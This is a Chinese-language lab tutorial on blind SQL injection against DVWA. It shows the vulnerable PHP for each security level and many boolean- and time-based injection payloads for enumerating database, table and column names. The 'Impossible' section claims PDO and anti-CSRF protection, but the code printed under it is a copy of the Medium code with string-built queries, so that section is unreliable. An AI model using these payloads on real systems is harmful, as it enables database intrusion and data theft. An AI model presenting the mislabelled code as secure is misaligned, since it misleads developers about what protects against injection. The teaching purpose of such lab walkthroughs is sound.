SQL盲注

admin 2025年2月15日22:18:10评论25 views字数 7985阅读26分37秒阅读模式
 

声明

本文作者:CloudStrife(玄螭安全实验室-核心成员)

玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。

目录:

1.SQL盲注简介

2.Low核心代码

3.Medium核心代码

4.High核心代码

5.Impossible核心代码

1.SQL盲注简介

SQL盲注,和SQL注入不同,在SQL盲注中,页面不会返回相关信息,只提示该参数是否存在,攻击者无法从页面上获取任何有效信息,只能通过返回是和否两个信息来判断数据库中的表和各项信息。SQL盲注要比一般的SQL注入难度高,就好比和机器人聊天,它只会回答你是或否,例如你问数据库名字的长度是不是4个,它说是,那么你再继续追问,数据库名字第一个字符是不是a,它说不是,你继续问是不是d,它说对,那么你就知道第一个字符是d,然后你再继续判读第二个字符。

SQL盲注主要有基于布尔值的盲注和基于时间的盲注。基于布尔值的盲注,会根据你注入的信息返回是或否,来进行下一步判断、而基于时间的盲注,会根据注入的信息是否成功与否,如果成功,则系统会停止一段时间,根据是否停止来判断注入成功与否。

2.Low核心代码

先来看Low级别的代码,登录DVWA平台后,选择“DVWA Security”选项,在安全级别中选择“Low”选项,单击“Submit”按钮。设置安全级别为“Low”级别。然后查看一下源代码。如图。

<?php  if( isset( $_GET[ 'Submit' ] ) ) {      // Get input      $id = $_GET[ 'id' ];      $exists = false;      switch ($_DVWA['SQLI_DB']) {          case MYSQL:              // Check database              $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors              $exists = false;              if ($result !== false) {                  try {                      $exists = (mysqli_num_rows( $result ) > 0);                  } catch(Exception $e) {                      $exists = false;                  }              }              ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);              break;          case SQLITE:              global $sqlite_db_connection;              $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";              try {                  $results = $sqlite_db_connection->query($query);                  $row = $results->fetchArray();                  $exists = $row !== false;              } catch(Exception $e) {                  $exists = false;              }              break;      }      if ($exists) {          // Feedback for end user          echo '<pre>User ID exists in the database.</pre>';      } else {          // User wasn't found, so the page wasn't!          header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );          // Feedback for end user          echo '<pre>User ID is MISSING from the database.</pre>';      }  }  ?>

在该级别下,源代码没有对参数做任何合法性检查,那么可以根据构造相应payload判断为真还是为假的方式,猜测相关的数据信息。

a)先判断数据库名长度,再猜测每个字符,具体代码如下

1'and length (database())=1 #显示不存在

1'and length (database())=4 #显示存在

所以可知数据库长度为4个字符。

b)猜测数据库名称。得出数据库名长度为4之后,再使用二分法和ASCI值来猜测数据库中每个字符的信息,通过输入下列字符ASCI值进行测试,具体代码如下

1' and ascii(substr(database(),1,1)>97 #判断第一个字符ascii值大于97

1' and ascii(substr(database(),1,1)<122 #判断第一个字符ascii值小于122

1' and ascii(substr(database(),1,1)>100# 判断第一个字符ascii值大于100

最后通过不断测试,得出数据库名称为dvwa。

c)猜测数据库表个数。首先判断数据库dvwa中表的个数,具体代码

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在

所以得出dvwa中存在2个表

d)猜测数据库表名的长度,因为目前有2个表,那么来看第1个表,猜测它表名长度。具体代码

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在

所以得出第一个表名长度为9。

e)得出第一个表名长度为9后,再继续猜测第一个表名的名称。以首字母为例,先猜测第一个字母,得出是g

1' and ascii(substr((select table_name from information_schema.tables where table_name =database() limit 0,1),1,1)) < 103 # 显示不存在

f)数据库中表存在2个表,表名经过猜测后,得出是users和guestbook。接下

来继续判断表中的字段名。以users表为例,先判断users表中字段数,代码如

下,得出一共有8个字段。

1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # 显示不存在

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显示存在

g)接着对第1个字段的长度进行判断,具体代码。得出users表第一个字段长度

为7个字符。

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 # 显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # 显示存在

h)得出users表第一个字段长度后,再继续猜测其字段名,以第一个字段首字

母为例,猜测出字符为u,具体代码。

1' and ascii(substr((select column_name from information_schema.columns where table_name ='users' limit 0,1),1,1))>117 #显示不存在

最终得出第一个字段名为user_id

i)接下来猜测表users中的记录数。输入代码如下,最后得出users表中的记录

数为5条。

最后,通过asci值判断和二分法,可以推出所有的值。

当然,除了使用布尔盲注以外,还可以采用基于时间的盲注来判断。基于时间的盲注的原理是当注入成功时,系统存在明显延迟。接下来采用基于时间的盲注来完成注入工作。

a)首先和之前一样,先猜测数据库名的长度,根据延迟情况来判断。具体代码

1' and if(length(database())=1,sleep(5),1) #没有延迟

1' and if(length(database())=4,sleep(5),1) #有延迟

得出数据库名长度后,继续根据二分法猜测数据库名称,首先看数据库名第一个字符,得出是d,代码。

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #//有延迟

b)接下来继续猜测数据库中表的数量,结果是dvwa中有2个表,代码。

1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # //有延迟

后续和前面基于布尔值盲注类似,根据是否延迟,来判断。

基于此,我们得出结论,如果希望通过基于盲注来完成,大致思路以下几点:

a.先确定数据库名的长度

b.通过二分法和ascii值判断数据库名字

c.得出数据库名字后,判断数据库中表的数量

d.对数据库中需猜测的表,猜测表名的长度

e.得出表名的长度后,再基于二分法和ascii值来猜测表的名字

f.得出表的名字后,猜测表中字段的数量

g.得出表中的字段数量后,挨个猜测字段名的长度

h.得出字段名长度后,根据二分法和ascii值继续猜测字段名的名称

i.现在数据库名,表名,表字段名全部获得后,开始猜测表中记录数量

j.得出表记录数后,猜测每条记录的长度(即值的长度)

k.最后,根据二分法和ascii值猜测记录的内容

当然操作SQL盲注不一定每一步都需要根据这样的步骤来完成,但基本思路就是如此。

3.Medium核心代码

Medium代码对界面进行了修改,和SQL注入类似,换成采用下拉框的形式,还利用mysql_real_escape_string函数对特殊符x00,n,r,,’,”,x1a进行转义,但是基本和前面盲注类似,依然可以采用burpsuite来完成SQL盲注功能,具体操作和前面类似,就不填写代码了。

<?php  if( isset( $_POST[ 'Submit' ]  ) ) {      // Get input      $id = $_POST[ 'id' ];      $exists = false;      switch ($_DVWA['SQLI_DB']) {          case MYSQL:              $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));              // Check database              $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors              $exists = false;              if ($result !== false) {                  try {                      $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors                  } catch(Exception $e) {                      $exists = false;                  }              }              break;          case SQLITE:              global $sqlite_db_connection;              $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";              try {                  $results = $sqlite_db_connection->query($query);                  $row = $results->fetchArray();                  $exists = $row !== false;              } catch(Exception $e) {                  $exists = false;              }              break;      }      if ($exists) {          // Feedback for end user          echo '<pre>User ID exists in the database.</pre>';      } else {          // Feedback for end user          echo '<pre>User ID is MISSING from the database.</pre>';      }  }  ?>  

4.High核心代码

在High级别下,利用cookie传递参数ID,如果SQL查询为空时,执行sleep函数,还在SQL查询中添加了LIMIT 1,不过依然可以采用#注释掉,由于采用sleep函数,所以建议使用基于布尔值来进行盲注,具体操作和前面也是类似。

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {    // Get input    $id = $_COOKIE[ 'id' ];    $exists = false;    switch ($_DVWA['SQLI_DB']) {        case MYSQL:            // Check database            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors            $exists = false;            if ($result !== false) {                // Get results                try {                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors                } catch(Exception $e) {                    $exists = false;                }            }            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);            break;        case SQLITE:            global $sqlite_db_connection;            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";            try {                $results = $sqlite_db_connection->query($query);                $row = $results->fetchArray();                $exists = $row !== false;            } catch(Exception $e) {                $exists = false;            }            break;    }    if ($exists) {        // Feedback for end user        echo '<pre>User ID exists in the database.</pre>';    }    else {        // Might sleep a random amount        if( rand( 0, 5 ) == 3 ) {            sleep( rand( 2, 4 ) );        }        // User wasn't found, so the page wasn't!        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );        // Feedback for end user        echo '<pre>User ID is MISSING from the database.</pre>';    }}?>

5. Impossible核心代码

在Impossible级别下,采用了PDO技术和Anti-SCRF Token技术来提升安全性,能够基本防御住SQL盲注的攻击,所以是非常安全的。

<?php  if( isset( $_POST[ 'Submit' ]  ) ) {      // Get input      $id = $_POST[ 'id' ];      $exists = false;      switch ($_DVWA['SQLI_DB']) {          case MYSQL:              $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));              // Check database              $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors              $exists = false;              if ($result !== false) {                  try {                      $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors                  } catch(Exception $e) {                      $exists = false;                  }              }              break;          case SQLITE:              global $sqlite_db_connection;              $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";              try {                  $results = $sqlite_db_connection->query($query);                  $row = $results->fetchArray();                  $exists = $row !== false;              } catch(Exception $e) {                  $exists = false;              }              break;      }      if ($exists) {          // Feedback for end user          echo '<pre>User ID exists in the database.</pre>';      } else {          // Feedback for end user          echo '<pre>User ID is MISSING from the database.</pre>';      }  }  ?>  

原文始发于微信公众号(玄螭安全实验室):网络安全实训教程第八章-SQL盲注

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日22:18:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL盲注https://cn-sec.com/archives/1040527.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息